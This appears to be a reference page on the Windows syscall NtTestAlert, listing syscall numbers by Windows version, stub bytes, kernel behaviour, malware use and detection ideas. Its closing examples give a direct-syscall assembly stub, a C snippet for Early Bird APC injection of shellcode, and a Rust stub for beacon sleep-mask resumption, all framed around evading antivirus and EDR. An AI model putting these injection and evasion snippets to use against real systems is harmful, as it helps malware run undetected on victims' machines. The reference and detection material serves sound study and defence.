> Windows Syscalls
ntoskrnl.exeT1055T1055.004T1106

NtTestAlert

Tests whether the calling thread has a pending alert and, if so, delivers any queued user-mode APCs.

Prototype

NTSTATUS NtTestAlert(VOID);

Arguments

NameTypeDirDescription

Syscall IDs by Windows version

Windows versionSyscall IDBuild
Win10 15070x1A3win10-1507
Win10 16070x1ACwin10-1607
Win10 17030x1B2win10-1703
Win10 17090x1B6win10-1709
Win10 18030x1B8win10-1803
Win10 18090x1B9win10-1809
Win10 19030x1BAwin10-1903
Win10 19090x1BAwin10-1909
Win10 20040x1C0win10-2004
Win10 20H20x1C0win10-20h2
Win10 21H10x1C0win10-21h1
Win10 21H20x1C2win10-21h2
Win10 22H20x1C2win10-22h2
Win11 21H20x1CCwin11-21h2
Win11 22H20x1D0win11-22h2
Win11 23H20x1D0win11-23h2
Win11 24H20x1D3win11-24h2
Server 20160x1ACwinserver-2016
Server 20190x1B9winserver-2019
Server 20220x1C8winserver-2022
Server 20250x1D3winserver-2025

Kernel module

ntoskrnl.exeNtTestAlert

Related APIs

QueueUserAPCQueueUserAPC2SleepExNtQueueApcThreadNtQueueApcThreadExNtAlertThreadNtAlertResumeThread

Syscall stub

4C 8B D1            mov r10, rcx
B8 D3 01 00 00      mov eax, 0x1D3
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Undocumented notes

`NtTestAlert` forces the calling thread into an alertable check-point: if `KeTestAlertThread` returns TRUE, the kernel drains the user-APC queue right now by jumping the thread to `KiUserApcDispatcher`. Unlike `SleepEx(0, TRUE)`, it does not enter the wait loop — it is a pure synchronous APC delivery point. Phnt defines it; the public Win32 header does not. SSN drifts every couple of feature updates (`0x1A3` on Win10 1507 → `0x1D3` on Win11 24H2), so dynamic resolution is mandatory for portable shellcode.

Common malware usage

The defining role is in **Early Bird APC injection**: spawn a process in a suspended state, queue a user-APC on its initial thread with `NtQueueApcThread`, and let the loader thread fire `NtTestAlert` as part of normal early init — the APC executes before any AV/EDR DLL gets a chance to mature. Variants of Early Bird (used by FIN7, Turla, the Conti family, and re-implemented in countless open-source loaders) deliberately call `NtTestAlert` to force-deliver the APC instead of waiting for a natural alertable point. It is also the *kickoff* primitive of Ekko-style sleep masks: the masking thread queues an APC chain on the beacon thread, suspends it, and the beacon resumes through `NtTestAlert` → `KiUserApcDispatcher` to enter the ROP chain.

Detection opportunities

Outside of debuggers, system services, and a handful of CRT init paths, `NtTestAlert` is not a common call from non-Microsoft binaries. Sysmon does not have a dedicated event for it, but stack-walking EDR collectors can catch the `NtTestAlert → KiUserApcDispatcher → <implant>` transition. The more useful signal is the *combination*: a freshly created process whose first thread executes `NtQueueApcThread` (from elsewhere) followed by an in-process `NtTestAlert` and an immediate jump into a private RX region — that is essentially the Early Bird fingerprint. Kernel callbacks via `PsSetCreateThreadNotifyRoutineEx` are a more reliable place to anchor detection.

Direct syscall examples

asmx64 direct stub (Win11 24H2)

; Direct syscall stub for NtTestAlert (SSN 0x1D3 on Win11 24H2)
NtTestAlert PROC
    mov  r10, rcx          ; syscall convention (no args, but stub still sets r10)
    mov  eax, 1D3h         ; SSN — rebuild for each Windows version
    syscall
    ret
NtTestAlert ENDP

cEarly Bird APC kickoff

// Within a newly-suspended target thread:
//   1) Queue APC pointing at shellcode
//   2) Resume thread; force-deliver via NtTestAlert from inside the thread context.
extern "C" NTSTATUS NTAPI NtQueueApcThread(HANDLE, PVOID, PVOID, PVOID, PVOID);
extern "C" NTSTATUS NTAPI NtTestAlert(VOID);
extern "C" NTSTATUS NTAPI NtResumeThread(HANDLE, PULONG);

void EarlyBird(HANDLE hThread, PVOID shellcode) {
    NtQueueApcThread(hThread, (PVOID)shellcode, NULL, NULL, NULL);
    NtResumeThread(hThread, NULL);
    // Self-deliver any APCs queued on *this* thread immediately.
    NtTestAlert();
}

rustSleep-mask resume primitive

// Used to wake a beacon thread out of a self-suspended state into
// the APC chain that drives sleep-mask decryption.
use std::arch::asm;

#[unsafe(naked)]
pub unsafe extern "system" fn nt_test_alert() -> i32 {
    asm!(
        "mov r10, rcx",
        "mov eax, 0x1D3",   // Win11 24H2 — resolve dynamically in production
        "syscall",
        "ret",
        options(noreturn),
    );
}

MITRE ATT&CK mappings

Last verified: 2026-05-20